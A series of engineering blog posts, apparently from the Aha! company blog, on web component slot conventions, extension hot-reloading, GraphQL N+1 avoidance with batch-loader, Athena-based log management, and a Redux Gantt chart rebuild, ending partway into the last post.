We'd like to share a convention that we recently started using with our web components which helps smooth over a particular ugly bit of the web component interface. We call it "implicit slot names", and it's a convention that is framework agnostic and can be used no matter how you build web components.

Background

One of the most powerful aspects of web components is the "Shadow DOM." The shadow DOM allows developers to specifically target parts of the "Light DOM" (the elements a user sees on the page) and transport them within a different DOM tree that only exists inside the web component itself. This enables developers to make arbitrarily complex components which theoretically have a very simple public interface, by allowing slotted content to populate specific areas of our web component.

Take, for example, a web component for a modal window. A modal window typically has three specific areas within it — a header, a body, and a footer.

We discovered that the sweet spot for web components is when we build fairly simple components that can be composed together to make more complex things. This allows us to cleanly separate the concerns of one component from that of another. To this end, we built four different components to create a full modal window — namely a modal-window, a modal-header, a modal-body, and a modal-footer.

Here is a simple example to illustrate how and why we build implicit slot names into our web components, as well as the benefits they provide:

// ----- JAVASCRIPT -----
class ModalWindow extends HTMLElement {
  constructor() {
    super();
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          display: inline-flex;
          flex-direction: column;
          border: 1px solid gray;
          box-shadow: 0 0.8rem 0.8rem gray;
        }
      </style>
      <slot name="header"></slot>
      <slot name="body"></slot>
      <slot name="footer"></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalHeader extends HTMLElement {
  constructor() {
    super();
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #ddd;
          border-bottom: 1px solid gray;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalBody extends HTMLElement {
  constructor() {
    super();
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #fff;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalFooter extends HTMLElement {
  constructor() {
    super();
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #ddd;
          border-top: 1px solid gray;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

customElements.define("modal-window", ModalWindow);
customElements.define("modal-header", ModalHeader);
customElements.define("modal-body", ModalBody);
customElements.define("modal-footer", ModalFooter);

When using our web component within our page, we'd likely write something similar to this:

<!-- HTML -->
<modal-window>
  <modal-header slot="header">Header stuff</modal-header>
  <modal-body slot="body">Body stuff</modal-body>
  <modal-footer slot="footer">Footer stuff</modal-footer>
</modal-window>

which in turn would render as:

So what's the problem? Everything works, isn't that enough?

The problem

The particular issue we have with the above example is that not all of our web components are made for internal use.

Recently, we launched Aha! Develop which allows our users to create and use custom components that they develop within their accounts, greatly extending the capabilities of Aha! Develop to encompass almost anything a customer could desire.

With this power came a problem, however.

Because people using Aha! Develop are building their own components, which they would want to seamlessly blend with the rest of the application's interface, they are using web component building blocks that we created and adding functionality to them. So our users would be building their own custom web components using things like <modal-window> above. And when exposing internal tools to the public at large you learn a lesson quickly: the interface matters.

<!-- HTML -->
<modal-window>
  <modal-header slot="header">Header stuff</modal-header>
  <modal-body slot="body">Body stuff</modal-body>
  <modal-footer slot="footer">Footer stuff</modal-footer>
</modal-window>

For a developer who is familiar with web components and who is building a modal window, it's tedious and error prone to have to remember that the <modal-header> component has to be slotted into the header slot within the parent <modal-window> component. Needing to understand that level of detail about how things get constructed in <modal-window> is a bit of a code smell too. Developers shouldn't need to understand how a component is made in order to use that component.

Worse, if the person developing the Aha! Develop extension is unfamiliar with web components, then they likely will not understand the need for the slot declaration at all. Sure, we could point them to helpful MDN articles and let them figure it out for themselves, but why should we make them absorb all that context to use something that looks like simple HTML tags when we can do more to make their lives easier?

Ideally, a <modal-header> would just know that it belongs at the top of a <modal-window>, just like <modal-footer> would know it belongs at the bottom. We want a clean and simple public interface like the following:

<!-- HTML -->
<modal-window>
  <modal-header>Header stuff</modal-header>
  <modal-body>Body stuff</modal-body>
  <modal-footer>Footer stuff</modal-footer>
</modal-window>

How do we accomplish that?

The solution

After some thought, it occurred to us that the issue with the slot declaration in web components is that while it tells us where the contents of a slot get appended, it doesn't tell us anything about what that content should be.

But what if it did? Things like a <modal-header> component really only ever make sense inside a <modal-window> component, so why don't they just automatically tell the parent <modal-window> where they belong?

// ----- JAVASCRIPT -----
class ModalHeader extends HTMLElement {
  constructor() {
    ...
    this.slot = this.hasAttribute('slot') ? this.slot : "header";
    ...
  }
}

class ModalBody extends HTMLElement {
  constructor() {
    ...
    this.slot =  this.hasAttribute('slot') ? this.slot : "body";
    ...
  }
}

class ModalFooter extends HTMLElement {
  constructor() {
    ...
    this.slot =  this.hasAttribute('slot') ? this.slot : "footer";
    ...
  }
}

<!-- HTML -->
<modal-window>
  <modal-header>Header stuff</modal-header>
  <modal-body>Body stuff</modal-body>
  <modal-footer>Footer stuff</modal-footer>
</modal-window>

In each individual component we check for the presence of a user-defined slot value first to ensure that the user-defined slot value is is always respected. If they've left it undefined we automatically default to a value which says where we want this component to appear in its parent component.

By adding this simple line, any <modal-header>, <modal-body>, or <modal-footer> that is added to a page will automatically slot itself into the correct slot within its parent <modal-window>.

As a bonus, any future component that uses one of these components as its base class will also get slotted into the correct slot within the parent <modal-window>.

// ----- JAVASCRIPT -----
class FancyModalHeader extends ModalHeader {
  ...
}

<!-- HTML -->
<modal-window>
  <fancy-modal-header>Fancy header stuff</fancy-modal-header>
  <modal-body>Body stuff</modal-body>
  <modal-footer>Footer stuff</modal-footer>
</modal-window>

Potential "gotchas"

Because our web components now automatically define a slot in which they expect to exist, if you ever need a component to show in the default slot you'll have to explicitly specify it via <modal-body slot="">. While a bit unusual, it's unlikely that a developer will intentionally want a specific component to exist somewhere that you did not intend, so we feel the extra pain is justified.

Closing thoughts

While this is a pretty simple technique, we feel it is a nice improvement in the elegance of the "API" we can present with our web components.

We are using web components to give extension developers a way to match the look and feel of the rest of Aha! Develop.. Learn more about Aha! Develop and how you can request access so your team can start using it: https://www.aha.io/develop/overview

Final code

// ----- JAVASCRIPT -----
class ModalWindow extends HTMLElement {
  constructor() {
    super();
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          display: inline-flex;
          flex-direction: column;
          border: 1px solid gray;
          box-shadow: 0 0.8rem 0.8rem gray;
        }
      </style>
      <slot name="header"></slot>
      <slot name="body"></slot>
      <slot name="footer"></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalHeader extends HTMLElement {
  constructor() {
    super();
    this.slot =  this.hasAttribute('slot') ? this.slot : "header";
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #ddd;
          border-bottom: 1px solid gray;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalBody extends HTMLElement {
  constructor() {
    super();
    this.slot =  this.hasAttribute('slot') ? this.slot : "body";
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #fff;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

class ModalFooter extends HTMLElement {
  constructor() {
    super();
    this.slot =  this.hasAttribute('slot') ? this.slot : "footer";
    const template = document.createElement("template");
    template.innerHTML = `
      <style>
        :host {
          background: #ddd;
          border-top: 1px solid gray;
          padding: 0.5rem;
        }
      </style>
      <slot></slot>
    `;
    const shadowRoot = this.attachShadow({ mode: "open" });
    shadowRoot.appendChild(template.content.cloneNode(true));
  }
}

customElements.define("modal-window", ModalWindow);
customElements.define("modal-header", ModalHeader);
customElements.define("modal-body", ModalBody);
customElements.define("modal-footer", ModalFooter);

<!-- HTML -->
<modal-window>
  <modal-header>Header stuff</modal-header>
  <modal-body>Body stuff</modal-body>
  <modal-footer>Footer stuff</modal-footer>
</modal-window>

3 steps to an engaging new user experience for developers

Winfred Nadeau — Thu, 27 May 2021 00:00:00 GMT

First impressions matter a lot when you're launching a new product. Optimizing for time-until-Aha! is no easy feat. This is uniquely true for developer-facing software because your customer lives and breathes your medium.

Designing a new user experience looks like a maze at first.

What are the setup costs for your new user?
What will they have to do to really see what you're offering?
If you make it too simple, will you dilute your value proposition?
If you make it too complicated, will people finish enough to "get it"?
What do you lead with?

Let's demystify this into three core steps.

1. Lead with your core differentiator

What you're bringing to market has to offer something differentiated enough to serve a market segment profitably. This is Business 101.

Don't get distracted by traditional UX theories, gamification, what other products do, or if you need a product tour. Instead, show visitors what is special about your product as fast as you possibly can.

Surge.sh does a great job of this. Right at the top of their homepage, you see only two commands to deploy your website. They did the hard work of removing all of the complexity of traditional signup and baked it into one command. The sooner they get into your CLI, the sooner you see how easy they've made it to deploy code

For Aha! Develop, we need you to see how extensions allow you to customize anything for your agile workflow tool.

2. Find your goldilocks onboarding task

Next, you have to figure out the right-sized task to give a visitor that will make your differentiator clear. It can't be too difficult and it can't be too trivial.

What's the best thing to ask a user to do? Come up with three or four bullets for ideas and think through the pros and cons.

You need to put your user at the edge of your iceberg, staring into the crystal blue depths at your product offering below.

Identify your iceberg's edge by choosing a task that does three things:

Accomplishes something real in as few steps as possible.
Leaves room to explore deeper if desired, with clear directions to branch out and play.
Makes us smile. Reach into the heart of the work we do as developers and bring us joy.

For Aha! Develop, wiring up some extension logic that fires confetti when you ship a feature was going to hit all three.

3. Let the user explore the rest at their own speed

With steps 1 and 2, you've optimized for time-until-Aha! Your user should understand that you will scratch their itch in general. Now your job is to make it easy for the user to solve their specific problem.

For developer-facing products, this is most often a healthy mix of UI and documentation. This is when traditional onboarding approaches start to take over, from product tours to customer demos.

With Aha! Develop, we were able to blend our workflow tool with your "dive deeper" tasks. We baked the tour straight into your kanban board. You may be able to find similar leverage in your own product.

If you've made it this far successfully, your user should be eager to learn more. You should too!

An onboarding UX is never perfect at first, but these core principles will remain even as you discover improvements to this flow.

If you want to learn more from software product experts, register your team for Aha! Develop today.

How we enable hot-reloading in production for extension developers

Jeremy Wells — Mon, 17 May 2021 00:00:00 GMT

Aha! Develop is our extendable agile development tool. You can completely customize the UI, workflow, and integrations through extensions to create your team's ideal workspace. We made extensions with the goal of creating a lovable development experience.

When you write an extension for Aha! Develop, we want the experience to be as smooth as possible, without needing to take manual steps every time the code is changed. Frontend developers are used to seeing their changes appear before their eyes as they work in development mode. Getting instant feedback as you edit is satisfying and speeds the development lifecycle.

As you write an extension for Aha! Develop, your extension is uploaded to our production system. This makes instant feedback challenging compared to local development. And yet, if you use the aha extension:watch command, you'll see extension views change before your eyes.

Watch command

The client side of hot reloading is watching the file system for changes to the extension source files and running the equivalent of aha extension:install. We use the chokidar package. File system changes often come in a flurry, so the code applies a short timeout and batches the changes before calling install.

chokidar
  .watch('.', { ignoreInitial: true, ignored: '.git' })
  .on('all', async (event, changedPath) => {
    if (this.timeoutHandle) {
      this.changedPaths.push(changedPath);
      clearTimeout(this.timeoutHandle);
    } else {
      this.changedPaths = [changedPath];
    }

    this.timeoutHandle = setTimeout(
      () => this.performInstall,
      WAIT_TIMEOUT
    );
  });

We then use the fantastic esbuild to bundle the code into a JS file for every contribution entrypoint specified in the package.json file. By bundling the code by contribution, we can have a smaller eventual bundle size by loading only the required code in each place.

esbuild makes it very easy to generate the bundle — plus it's super fast. With some custom plugins, we can perform the bundling and uploading, including loading modules from skypack.dev, in 1–2 seconds.

esbuild.bulid({
  entryPoints: [path],
  bundle: true,
  outfile: 'bundle.js',
  plugins: [
    httpPlugin({ cache })
  ],
  target: 'es2020',
  write: false,
  sourcemap: 'external',
  sourcesContent: false,
  loader: { '.js': 'jsx' },
})

Hot reloading

If you've used Aha! before, then you'll know that it has a reactive and collaborative interface. If you update a record, then your colleagues will see your change almost immediately. If you're editing rich text fields, then your changes are visible to your team as you type.

Aha! establishes a websocket connection when the page is loaded and sends information through that socket about all record changes within the account you're logged into. To maintain a balance between permissions and performance, Aha! will send information about every single change in the account. It will limit the information sent via the websocket to only the record identifiers. When you're looking at a record, Aha! will be receiving updates about all record changes in the background. When Aha! sees an update related to the record you're viewing, it will fetch the updated record and update the screen.

Extensions are able to leverage this mechanism to provide hot reloading. In fact, we had to build the structure for hot reloading to make extension views work like the rest of Aha! If you build an extension that stores data against a record, like the planning poker extension, then changes to that data are visible to other team members in real time.

const storeVote = async (estimate) => {
  const user = aha.user;
  const key = `${FIELD_BASE}:${user.id}`;
  const newVote = {
    id: String(user.id),
    name: user.name,
    avatar: user.avatarUrl,
    estimate
  };

  // Set the vote on the record
  await record.setExtensionField(EXTENSION_ID, key, newVote);

  // Update the state of the current view
  setVotes(votes.filter(vote => vote.id !== user.id).concat([payload]));
  setHasVoted(true);
}

In this snippet of the planning poker extension, the vote data is saved to the record. The extension itself doesn't need to do anything more to communicate this change to any other viewers of the record. Aha! will send an update to all connected browsers logged into this account with information that there is an update to the extension fields for this particular record. If any browser has that record open in either the drawer or the details view, Aha! will reload the field data and call the render function in each extension with the new fields. For React-based extensions, this looks like a prop update.

aha.on("planningPoker", ({ record, fields }) => {
  return <PlanningPoker votes={votesFromFields(fields)}/>;
})

As we have this mechanism in place already for extension fields, it is a small step to perform a similar change when the extension code is uploaded. As soon as the extension is uploaded, a new extension bundle is ready. If you refresh the page at this point, you will see the changes. So Aha! sees the extension record change and the browser does an async import to make the new code available.

await import(
  `/extension_contributions.js?ts=${new Date().getTime()}`
);

The new code is now ready to run. Each extension view on the page needs to be instructed to reload. Unfortunately though, Aha! cannot call the render function again as it does for field data changing. This is because, as an extension author, you may have added event handlers or other kinds of long-running code. When extensions render, they are passed a function prop that is a callback for cleaning up when the extension is unmounted:

const elementDetectionHandler = (event) => {
  // does something on mouse move
}

aha.on("page", ({ onUnmounted, isUpdate }) => {
  onUnmounted(() => {
    document.removeEventListener("mousemove", elementDetectionHandler);
  });

  if (!isUpdated) {
    document.addEventHandler("mousemove", elementDetectionHandler);
  }

  return <Page />;
})

In this example, the extension is adding an event handler for its page view to add a special effect. If Aha! rerenders the component now and the new code has a change to the handler code, like renaming elementDetectionHandler to mouseMoveHandler , then a memory leak will occur and there will be inconsistent behavior.

Instead, Aha! will unmount each extension view currently open in the browser, running the onUnmounted callback, and reload them. This only takes a moment. It means there is a slight difference in behavior between fields being rerendered by extensions and hot-reloading. The extension will start again with a fresh state. Extension authors can make this experience better by using extension fields to store data in a way that allows the extension to reload from where it last left off — a good practice for the extension user experience anyway.

Developer experience

When you save a file in your editor and start switching to Aha!

The aha-cli tool detects the file has changed
esbuild creates a single JavaScript file bundle
aha-cli uploads the bundle to Aha!
Aha! sends a message to every connected browser to indicate the extension has updated
The extension host code in the browser reloads the JavaScript
The extension host code remounts every extension
You see your changes within seconds of saving

By connecting up several existing mechanisms in Aha! that have already been in use for a slightly different purpose, we can offer developers a compelling feedback cycle when working on extension code that is being developed and deployed to an account on our production system.

Get started with Aha! Develop today and write your own extensions to customize your workflow.

Automatically avoiding GraphQL N+1s

Justin Weiss — Mon, 03 May 2021 00:00:00 GMT

Some people, when faced with an API problem, think “I’ll use GraphQL!” And now they have N+1 problems.

N+1 problems occur when you want to find a deep tree of records and end up performing a SQL statement or API request for every record, instead of retrieving all records — or all records of a given type — at the same time.

In Rails, N+1 problems are simple to solve using includes:

features_with_comments = release.features.includes(comments: :created_by)

But you still have to remember to do it. At Aha!, we build complex reports and roadmaps. Even though we’re careful to avoid N+1 problems, accidental ones are still a major concern of ours.

Aha! Develop extensions

While creating Aha! Develop, our mission was to offer radical customization for developers so they can do their work in the way that’s best for them. This meant providing an extremely flexible API, making Aha! Develop extensions not only powerful, but easy to write. GraphQL is a perfect fit for this kind of client-driven functionality.

But this API flexibility comes with a cost: It’s hard to optimize queries when you don’t know in advance what the query will be. In order to avoid an explosion of queries when an extension fetches nested data (which will happen all the time!), it seemed like we would need to analyze the query and create a plan for executing it efficiently. That’s a lot of work, complex, and prone to mistakes.

This was a big problem. If we couldn’t provide a flexible API that performed well, we couldn’t provide it at all.

Looking into solutions

Despite the jokes, this is a common enough problem that there had to be some existing solutions. To provide our GraphQL API on the server side, we use graphql-ruby. This is an amazing library that feels like the best of Ruby — it has great defaults while being easy to extend and change. There are a few N+1-avoiding libraries that work well with it:

After some exploration, batch-loader seemed like the perfect solution. It was a little harder to get started with than something GraphQL-specific like graphql-batch. But it was small, flexible, and useful even outside of GraphQL. We’ve even considered using it to batch load requests to external APIs where that is supported.

Here’s what it looks like, from batch-loader’s README:

def load_posts(ids)
  Post.where(id: ids)
end

def load_user(post)
  BatchLoader.for(post.user_id).batch do |user_ids, loader|
    User.where(id: user_ids).each { |user| loader.call(user.id, user) }
  end
end

posts = load_posts([1, 2, 3])  #      Posts      SELECT * FROM posts WHERE id IN (1, 2, 3)
                               #      _ ↓ _
                               #    ↙   ↓   ↘
users = posts.map do |post|    #   BL   ↓    ↓
  load_user(post)              #   ↓    BL   ↓
end                            #   ↓    ↓    BL
                               #    ↘   ↓   ↙
                               #      ¯ ↓ ¯
puts users                     #      Users      SELECT * FROM users WHERE id IN (1, 2, 3)

It is a really small amount of code and does exactly what we want. But how could it be easily integrated with the GraphQL code?

Making it trivial

Knowing that multiple people would have to maintain the API over time, we wanted to make the right way to avoid N+1s obvious and take as little effort as possible. We also wanted to avoid the cost of preloading a field if we didn’t request it.

When developing new features, one thing we do at Aha! is define our ideal interface first and do what’s necessary behind that to provide the ideal. For this case, this is what we wanted to write in our GraphQL types:

module Types
  class FeatureType < Types::BaseObject
    field :requirements, [RequirementType], null: false, preload: :requirements
  end
end

All that’s necessary to preload the requirements when they’re fetched off of a feature is to add that preload: argument, which uses the same pattern as Rails' includes does.

Sometimes, when you dream up a clean interface, the implementation has to become more complex to support it. Thanks to graphql-ruby and batch-loader, that wasn’t the case here. This is all you need:

class Types::PreloadableField < Types::BaseField
  def initialize(*args, preload: nil, **kwargs, &block)
    @preloads = preload
    super(*args, **kwargs, &block)
  end

  def resolve(type, args, ctx)
    return super unless @preloads

    BatchLoader::GraphQL.for(type).batch(key: self) do |records, loader|
      ActiveRecord::Associations::Preloader.new.preload(records.map(&:object), @preloads)
      records.each { |r| loader.call(r, super(r, args, ctx)) }
    end
  end
end

Look how tiny it is! So what is this doing?

How it works

In graphql-ruby, a Field instance is created when you use the field method to define a field, like this from the example above:

field :requirements, [RequirementType], null: false, preload: :requirements

If you look at the PreloadableField implementation at the end of the last section, it uses that preload argument to add a little bit of behavior in the resolve method.

resolve is called on a field when GraphQL Ruby needs to get the data from that field. For example, it might be called on the requirements field when feature.requirements is called.

The type argument is the GraphQL type object that contains that field. For example, if a GraphQL FeatureType is preloading RequirementTypes, type will be an instance of FeatureType and type.object will be the Feature that FeatureType instance is wrapping.

This is where things get fun.

BatchLoader::GraphQL.for(type)...

You can think of BatchLoader::GraphQL.for(type) as adding type into a list. Remember, since type is an instance of a GraphQL type, this is like adding a FeatureType wrapping the Feature with let’s say ID 1 to that list.

Every time for is called, it adds its argument to that list. So if multiple features ask for their requirements, each feature will be added to that list.

BatchLoader::GraphQL.for(type).batch(key: self) do |records, loader| ...

batch associates the block that will eventually do the batch load with the list. The block is given two things: the final list of objects and loader, which is used to tie each set of results to the right object.

By default, batch-loader uses the source location of the block to group items together into the list. Since the block in this example is used for every field, the block will always have the same source location and that doesn’t work. Instead, key: self will use source location and the field definition instance (self) as the key, making sure that each field definition has its own list of items to batch load.

This returns a lazy/proxy object that will eventually act like the record you want.

ActiveRecord::Associations::Preloader.new.preload(records.map(&:object), @preloads)

When the records are finally needed, the block is given all of the FeatureTypes that were passed to for. Rails' ActiveRecord::Associations::Preloader does the preloading using the specified @preloads.

records.each { |r| loader.call(r, super(r, args, ctx)) }

Finally, loader.call links together the correct results with each call. For example, if r is Feature 1, loader.call needs to link all of Feature 1's requirements back to Feature 1 so that feature.requirements will return the correct set from then on. In loader.call, the first parameter is the same as the item passed into for and the second is what the return value should be. Here, the correct return value is the same as the default behavior (super) — this time, with the objects already loaded.

It seems like a lot but that’s all there is to it. And the same pattern can be used for preloading even more complex sets of objects in even more complex ways.

We started building Aha! Develop because we were unsatisfied with the other development tracking tools out there. We wanted something as flexible as the editors we use every day. Something that we, as developers, could make feel like our own. And to do that, we needed a powerful, flexible, fast API. Without it, it would have been impossible to offer the kind of radical customization we promise to developers. graphql-ruby + batch-loader + a small PreloadableField class made it easier than we ever would have expected and helped us dodge one of the most frequent GraphQL API stereotypes.

Log management using AWS Athena

Alex Bartlow — Mon, 14 Dec 2020 00:00:00 GMT

Many SaaS providers will happily sell you a turn-key log management system, and in the early days of a startup when you value time over money, purchasing one makes a lot of sense. AWS Cloudwatch logs are another good solution if you are already hosted on AWS. With any of these paid services, the cost is eventually going to start raising a few eyebrows and it might become prudent to build your own in-house. The Elasticsearch-Logstash-Kibana cocktail is the most popular deployment for this, but one SaaS provider I found calculated the TCO over running a moderately-sized ELK stack for a year at nearly $500,000!

We've developed our own system using Fluentd, AWS S3, and AWS Athena to ingest, store, and query our logs. With this combination, I estimate that ingesting 640GB per day of log data and keeping it searchable over the course of the entire year would cost only $79,248 — a savings of 83 percent! Not to mention the time spent monitoring, scaling, and operating the cluster. The performance of our system is good; queries that return the data for a single request complete in less than 3 seconds. Searching the full text of our logs for specific markers or references can take longer but it's still very manageable.

This system not only gives us fast access to the logs that we do have, but it also enables us to log additional information per request and keep logs searchable for longer than we otherwise would if we had to pay more for storage. But having this additional data is invaluable for helping us solve problems and answer questions in a rapid and responsive way.

In this post, I'm going to walk through what we did, provide some code and discussions to show our approach, and talk about opportunities for future work that have opened up. I'm also going to mention some "gotchas" and road-blocks that we encountered along the way.

Building the system

There are four stages to a logging system: ingestion, aggregation, storage, and query. We're going to talk about them in reverse order.

Query

Assuming we have our logs in a structured format, what would be an ideal interface to gain access to it? While Kibana is the preferred choice for many companies, Kibana provides a lot of things that we don't really need. Pretty charts and graphs are nice, but when debugging an error state, what we really need is quick access to our logs. Additionally, exposing something that resembles SQL allows writing sophisticated queries to answer questions as they emerge.

Amazon Athena is the technology we settled on to query our logs. Athena searches data that already exists in S3, and it has a few properties that make it ideal for the task at hand:

Athena is really inexpensive. We pay only for the data that we scan in the process of completing a query: only $5 per terabyte at the time of writing.

Athena understands and can query the parquet file format out of the box. Parquet is column-oriented, which means that it is able to scan data only in the columns we are searching. This is a huge boon to us since the vast majority of our searches are "get me all of the logs for this single request id". That's only a 128bit UUID, and Athena is able to quickly determine which chunks of data contain the value under search, saving us both time and money. Additionally, parquet is compressible, and Athena is able to query it while in its compressed format, saving even more money on scanning costs.

We wrote a small custom log search engine to act as a front-end to Athena's interface for our team. This interface has fields, basic query parameters, a date selector to help generate the SQL-like query language that Athena uses, as well as a few endpoints that kick off a query immediately based on request uuid, pod, and time. We embed links to our tool in Datadog for rapid log analysis of poorly performing endpoints.

Storage

As mentioned, Athena queries data that is stored in S3. It's a durable, reliable medium that ensures millisecond access to our data when we need it. S3 also comes with another benefit. We can set up lifecycle rules to move files to lower cost tiers over time. These lifecycle rules can be set up with just a few clicks (or a few lines of AWS CloudFormation) and then it's done.

Aggregation

Aggregating the logs from our services turned out to require some work. Instead of using an Amazon product off the shelf, we opted to use Fluentd to ingest, aggregate, and then process our logs. The configuration itself is very simple. We created a docker image that built Fluentd with libjemalloc to keep the memory usage in check and lib-arrow to generate the compressed data in Parquet format. This container could then be deployed to our standard ECS cluster and then treated like any other service.

Ingestion

Now that we have our query, aggregation, and storage services ready, the last step is to get data from our application into the Fluentd service. There are a couple of options for this. One was to set the docker logging provider to Fluentd and point it at the aggregation cluster we have deployed. This allows us to log to stdout, which would keep the logger relatively simple. However, we decided it was worth it to make our application aware of the aggregation service and install a client-logging library for Fluentd. Fluentd maintains a Ruby version of their logger, which works as a drop-in replacement for the logger on rails applications: fluent-logger-ruby, but this is language-agnostic and could be used anywhere.

Gotchas

Who logs the logger?

Unfortunately, there is one area where we cannot rely on this system for logging — it's not able to log to itself! The ECS agent requires that the new container be able to log to its log provider immediately upon boot. This is a problem when the logging service itself needs to boot, initialize, and then pass health checks to start taking requests.

One way around this would be to bake a "forwarding" ECS service into the AMI for every ECS cluster instance. This forwarder could receive and buffer logs, then send them on to a private hostname configured to point to our new logging service.

Ensure proper chunk size

Athena has a "sweet spot." Because of the columnar format of data and the ability for Athena to read the headers out of the parquet file before it fetches the whole object, Athena works best when the size of scanned files is around 200MB. Once it gets larger, Athena is missing out the ability to parallelize. When it is smaller, each query worker spends a lot of time reading and parsing the initial headers instead of scanning the actual data. We had to tweak our time keys and chunk sizes to get this just right.

There is a balancing act between chunk size and capacity. The more aggregation containers we were running, the more log pressure we needed to get the right amount of saturation to create files in the sweet spot. In our experience, the cluster really wants to be run at about 80% CPU. Higher than that and we risk the TCP log forwarding protocol providing upstream back-pressure to the services logging to it. Less than that and we end up creating log files that are not big enough to get full performance out of Athena. Since our use-case is an internal developer-facing tool and the risk of slowing down our main application is not worth the slightly better throughput, we have opted to slightly over-provision our containers. A second Fluentd container layer serving as a forwarder in between our application servers and our aggregation containers could help buffer this substantially. This will give us great performance without risk of back-pressure at the cost of slightly more complexity and cost overhead.

Partition projection

We first attempted to create an AWS glue table for our data stored in S3 and then have a Lambda crawler automatically create Glue partitions for Athena to use. This was a bad approach.

Partition projection tells Athena about the shape of the data in S3, which keys are partition keys, and what the file structure is like in S3. We partition our data by service, shard, year, month, day, and hour. In our testing, we found that partition projection was essential to getting full value out of Athena. Without it, many of our queries would take up to thirty seconds as Athena consulted our AWS glue tables to determine which data to scan. With partition projection, no such lookup was necessary, and the query could begin immediately, scanning only the relevant data.

Keep in mind that partitions are great for scoping down the amount of data to access, but by partitioning too aggressively, we noticed our chunk sizes dropping below the "sweet spot" discussed above. We noticed a similar problem partitioning our data by EC2 instance. Clumping all hosts together counterintuitively made our queries to the system a lot faster.

Future use cases

The power of this system is enormous. We push a staggering amount of log data into it, pay relatively little for it, and query it in seconds. Additionally, the ingestion is managed by a service that we run and provision ourselves. So it is easy to autoscale down when demand is low and scale up when we need the additional horsepower to keep up with demand. But now that we have this system running, other use cases have presented themselves that look promising:

Analytics — We are able to log to Fluentd with a special key for analytics events that we want to later ETL and send to Redshift. We can create a new rule in our Fluentd config to take the analytics tag, and write it into the proper bucket for later Athena queries to export to Redshift, or for Redshift itself to query directly from S3 using Redshift Spectrum.
Request correlation — At Aha!, every request to our service is issued a request_uuid. When we queue a background job or make call to another service, those services can all log using the same framework and can include that originating request_uuid in the appropriate field. This means we can trace everything that was involved or triggered from a single user request through all of our backend services through a single query interface and interlace all of the logs together in one timeline.
Finding contemporary logs — Using this system, it is trivial to search for all logs from all requests with a very small timestamp window. If we know that we had a deadlock around a certain row in a database, this would allow you to find all processes that attempted to update that row, and then trace back to find the controller action that caused the problem.

If finding innovative solutions to problems like this sounds interesting, come work with us as we build the world's #1 product roadmapping software. We are not only creating a powerful platform for the biggest companies in the world to plan and manage their strategy, we are also building sophisticated tooling to help our talented and friendly development team continue to excel.

Footnotes

1: Assuming 35 Fargate container instances with 1.25 VCPU and 2GB memory each, 640GB ingested per day, 60-day S3 Standard Access storage, 335-day Infrequent Access storage, and 100 Athena queries per day each covering 100GB scanned. (This is a generous allowance.) Reserved ECS cluster instances drop this cost down further.

Building our new Gantt chart

Michel Billard — Tue, 01 Sep 2020 00:00:00 GMT

Our old Gantt chart served us well for the past six years. It was doing what it was designed to do, but some of the things we wanted to add were either impossible or incredibly difficult to accomplish. For example, giving customers more control over their data by not forcing features and other records to stay contained within the dates of their parents. Or allowing customers to order the records the way they wanted, to choose which records appear and which ones don’t, and many more. Internally, we also wanted to support more data types so that we could reuse the same Gantt chart for multiple views. So we decided it was finally time to completely overhaul it. Here are some of the lessons we learned as we built this great tool.

All code samples are greatly simplified to keep the article readable.

Be shallow about what you put in your Redux store

One of the things we wished we learned earlier was to keep our Redux store objects as shallow as possible. Early on in the project, an object would look almost the same in the backend as in the Redux store. At first, it seemed fine but after struggling with one too many (not to be confused with one-to-many) bugs, we decided to move some of the object properties out of the objects themselves and into their own key-value pair in the store.

Before getting into the examples, let’s take a high-level look at the data structure. The Gantt chart has records with attributes and children that are themselves records with attributes and children, etc.

records: {
  recordId: {
    ...attributes,
    children: {
      childId: { ...attributes, children: [...] },
      …
    },
  },
  …
}

Let’s look at the feature that allows you to hide specific records from the Gantt chart. Our initial naive implementation was to add an isVisible attribute to the records:

class Record {
  constructor(isVisible = true) {
    this.isVisible = isVisible;
  }
}

This looks fine at first glance, but when we wanted to update a record’s visibility, we had to dig into the records tree:

const setIsVisible = (record, isVisible) => {
  state = state.setIn([records, parent.id, ‘children’, record.id, ‘isVisible’], isVisible);
};

And that’s for records nested one level deep. If they’re nested deeper, then we had to figure out the whole path to the record with things like:

record.parents.map(parent => parent.id).interpose(‘children’)

It didn’t make for the most readable code. We also had to maintain the value even when the parents and/or grandparents were updated, manipulated, etc.

We eventually found a much better way to handle this. We decided to keep a separate list of hidden records and query that list whenever we wanted to know if a record was visible or not:

let state = Immutable.fromJS({
  hiddenRecords: Immutable.Set(),
});

const setIsVisible = (record, isVisible) => {
  state = state.update(‘hiddenRecords’, set => isVisible ? set.delete(record.id) : set.add(record.id);
};

const isVisible = (record) => {
  return !state.get(‘hiddenRecords’).has(record.id);
};

Once we stumbled onto that pattern, we applied it to a number of other properties with great success. We added lists for expanded records, active records, selected records, and more.

It took some getting used to as we adjusted our mental model from working with an object-oriented system to a hybrid that is more functional.

SVG works great to draw a grid

